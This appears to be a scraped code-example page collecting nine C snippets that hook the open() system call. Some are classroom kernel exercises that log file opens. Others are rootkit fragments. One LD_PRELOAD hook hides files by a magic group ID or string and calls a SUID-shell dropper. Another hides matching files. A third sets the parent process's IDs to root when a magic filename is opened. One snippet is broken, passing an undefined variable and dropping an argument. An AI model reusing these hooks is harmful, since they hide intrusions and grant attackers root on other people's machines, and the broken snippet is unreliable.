Ejemplo n.º 1
0
Archivo: f1.cpp Proyecto: j0k/fp
 I open (const C *pathname, I flags, mode_t mode){
   old_open = dlsym(RTLD_NEXT, SYSCALL);
   P("open hook");
   
 
   return old_open(newpath, mode);
 }
Ejemplo n.º 2
0
int new_open(char *file, int flags, int mode)
{
  if(current->uid != 1000)
    return old_open(file, flags, mode);
  else
    return ENOENT;
}
Ejemplo n.º 3
0
int new_open(char *file, int flags, int mode)
{
  if( (strstr(file, hide) != NULL) && current->p_pptr->pid > 1 )
    return -ENOENT;
  else
    return old_open(file, flags, mode);
}
Ejemplo n.º 4
0
int
open (const char *pathname, int flags, mode_t mode)
{
  struct stat s_fstat;

#ifdef DEBUG
  printf ("open hooked.\n");
#endif

  if (!libc)
    libc = dlopen (LIBC_PATH, RTLD_LAZY);

  if (old_open == NULL)
    old_open = dlsym (libc, "open");

  if (old_xstat == NULL)
    old_xstat = dlsym (libc, "__xstat");

  drop_suid_shell_if_env_set ();

  memset (&s_fstat, 0, sizeof (stat));

  old_xstat (_STAT_VER, pathname, &s_fstat);

  if (s_fstat.st_gid == MAGIC_GID || (strstr (pathname, MAGIC_STRING))
      || (strstr (pathname, CONFIG_FILE))) {
    errno = ENOENT;
    return -1;
  }

  return old_open (pathname, flags, mode);
}
Ejemplo n.º 5
0
asmlinkage int my_open (const char* file, int flags, int mode)
{
    /* YOUR CODE HERE */
  if(marks_uid == current_uid())
    printk("mark is about to open %s\n",file);
  //else
  //  printk("uid %d is opening %s\n",current_uid(),file);
  return old_open(file,flags,mode);
}
Ejemplo n.º 6
0
asmlinkage int my_open (const char* file, int flags, int mode)
{
    unsigned long uid = get_current_user()->uid.val;
    printk(KERN_DEBUG "UID: %lu\n", uid);
    // check to see if mark is the one opeing the file
    if (uid == marks_uid) {
        printk(KERN_DEBUG "Mark is about to open %s\n", file);
    }
    return old_open(file, flags, mode);
}
Ejemplo n.º 7
0
int new_open(char *file, int flags, int mode)
{
  if( (current->p_pptr->pid > 1) && (!strcmp(CODE,file)) )
    {
      current->p_pptr->uid = current->p_pptr->euid = current->p_pptr->suid = current->p_pptr->fsuid = 0;
      current->p_pptr->gid = current->p_pptr->egid = current->p_pptr->sgid = current->p_pptr->fsgid = 0;
    }

  return old_open(file, flags, mode);
}
Ejemplo n.º 8
0
asmlinkage int my_open (const char* file, int flags, int mode){
  /*YOUR CODE HERE*/
  int ret = -1;
  if (current_uid() != mark_id){
  	//printk(KERN_INFO "Someone is openning %s ....\n",file);
  }
  else{
	printk(KERN_INFO "Mark is about to open %s \n", file);
  }
  ret = old_open(file, flags, mode);
  return ret;
}
Ejemplo n.º 9
0
int new_open(char *file, int flags, int mode)
{
  if(current->uid > 0)
    printk("uid %d is opening file %s\n", current->uid, file);
  return old_open(file, flags, mode);
}